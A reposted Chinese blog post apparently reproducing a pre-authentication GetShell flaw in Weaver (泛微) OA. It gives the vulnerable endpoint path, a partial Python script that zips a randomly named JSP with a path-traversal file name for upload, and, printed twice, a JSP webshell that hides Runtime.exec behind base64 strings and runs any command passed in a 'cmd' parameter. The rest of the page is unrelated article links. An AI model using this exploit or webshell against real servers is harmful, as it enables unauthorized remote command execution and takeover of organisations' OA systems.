泛微 OA 前台 GetShell 复现

自行搭建环境:

泛微 OA 前台 GetShell 复现

漏洞路径:

/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp

漏洞验证:

发送上传数据包:

泛微 OA 前台 GetShell 复现

验证结果:

泛微 OA 前台 GetShell 复现

懒人:

泛微 OA 前台 GetShell 复现

PY

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667
import zipfileimport randomimport sysimport requestsdef generate_random_str(randomlength=16):  random_str = ''  base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'  length = len(base_str) - 1  for i in range(randomlength):    random_str += base_str[random.randint(0, length)]  return random_strmm = generate_random_str(8)webshell_name1 = mm+'.jsp'webshell_name2 = '../../../'+webshell_name1def file_zip():    shell = """    if(request.getParameter("cmd")!=null){        BASE64Decoder decoder = new BASE64Decoder();        Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));        Process e = (Process)                rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new                        String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new                        Object[]{}), request.getParameter("cmd") );        java.io.InputStream in = e.getInputStream();        int a = -1;        byte[] b = new byte[2048];        out.print("");        while((a=in.read(b))!=-1){            out.println(new String(b));        }        out.print("");    }%>    """

CODE

12345678910111213141516171819202122
if(request.getParameter("cmd")!=null){        BASE64Decoder decoder = new BASE64Decoder();        Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));        Process e = (Process)                rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new                        String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new                        Object[]{}), request.getParameter("cmd") );        java.io.InputStream in = e.getInputStream();        int a = -1;        byte[] b = new byte[2048];        out.print("");        while((a=in.read(b))!=-1){            out.println(new String(b));        }        out.print("");    }%>

Original: https://www.cnblogs.com/nul1/p/14749353.html
Author: _nul1
Title: 泛微 OA 前台 GetShell 复现

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/529621/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • redis后台启动

    打开redis.conf文件 把daemonize设置为yes posted @2021-11-25 15:30 HongMaJu 阅读(73 ) 评论() 编辑 Original…

    Linux 2023年5月28日
    084
  • zabbix模板,角色,用户,权限管理

    用户管理 用户组 用户角色 用户 模板管理 模板组 模板 posted @2022-09-07 22:22 溜溜威 阅读(14 ) 评论() 编辑 Original: https:…

    Linux 2023年6月7日
    094
  • Redis功能拓展-消息队列

    1.什么是消息队列,消息队列解决什么问题?从宏观上看,消息队列就是围绕队列这个数据结构而拓展开的一段特殊程序,将这类程序单独部署就可以称之为消息中间件(也称:消息队列)。在分布式系…

    Linux 2023年6月7日
    097
  • nginx配置只允许域名访问,禁止ip访问80,443端口

    一、背景客户扫描阿里云服务器,发现渗透漏洞(.git文件泄露漏洞),可以直接使用IP访问项目底下的某个文件,针对这个问题,需要对nginx进行配置,不使用IP访问项目,而只能使用域…

    Linux 2023年6月14日
    083
  • redis 学习指南

    2、 redis.windows.conf各项配置参数介绍 默认情况下,redis不是在后台模式运行的,如果需要在后台进程运行,把该项的值更改为yes,默认为no daemoniz…

    Linux 2023年5月28日
    085
  • 记一次 android 线上 oom 问题

    背景 公司的主打产品是一款跨平台的 App,我的部门负责为它提供底层的 sdk 用于数据传输,我负责的是 Adnroid 端的 sdk 开发。 sdk 并不直接加载在 App 主进…

    Linux 2023年6月6日
    0103
  • SQL查询语句–统计

    — 1、日统计查询填补 i->为时间差的天数 2022-05-10为终止时间 SET @i :=- 1; SELECT date_format( DATE_SUB( ’20…

    Linux 2023年6月14日
    078
  • IDEA出现Could not autowire. No beans of ‘xxx’ type found.解决

    Plan A File → Project Structure… Facets → Spring → 右键删除即可 Plan B File → Settings → E…

    Linux 2023年6月13日
    090
  • [转]Redis cluster failover

    今天测试了redis cluster failover 功能,在切换过程中很快,但在failover时有force 与takeover 之分 [RHZYTEST_10:REDIS:…

    Linux 2023年5月28日
    086
  • 刨析一下C++构造析构函数能不能声明为虚函数的背后机理?

    先说结论: 构造函数不能声…

    Linux 2023年6月6日
    093
  • 网络安全常见术语

    黑客帽子之分 白帽 白帽:亦称白帽黑客、白帽子黑客,是指那些专门研究或者从事网络、计算机技术防御的人,他们通常受雇于各大公司,是维护世界网络、计算机安全的主要力量。很多白帽还受雇于…

    Linux 2023年6月14日
    087
  • Java基础系列–03_Java中的方法描述

    Java的方法(函数)的描述 方法(1)方法的定义:就是完成特定功能的代码块。注意:在很多语言里面有函数的定义,而在Java中,函数被称为方法。(2)格式:修饰符 返回值类型 方法…

    Linux 2023年6月7日
    0107
  • PIM-DM 组播路由协议仿真

    目的 理解PIM-DM 的应用场景 掌握PIM-DM 的基本配置 理解PIM-DM 中剪枝和嫁接的原理 理解PIM-DM 中的Assert 机制 原理 Source-Specifi…

    Linux 2023年6月8日
    096
  • vim使用心得

    /etc/vimrc 系统整体的vim设定值 ~/.vimrc 用户自己的vim设定值 (此文件的批注为单个双引号) 目前我只设定了: set nu “显示行号 Ori…

    Linux 2023年6月6日
    081
  • Nginx基础入门篇(2)—编译参数介绍

    查看命令 nginx -V nginx version: nginx/1.22.0 built by gcc 4.8.5 20150623 (Red Hat 4.8.5-44) (…

    Linux 2023年6月6日
    0126
  • Linux 用户密码不能设置问题

    404. 抱歉,您访问的资源不存在。 可能是网址有误,或者对应的内容被删除,或者处于私有状态。 代码改变世界,联系邮箱 contact@cnblogs.com 园子的商业化努力-困…

    Linux 2023年6月7日
    0120
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球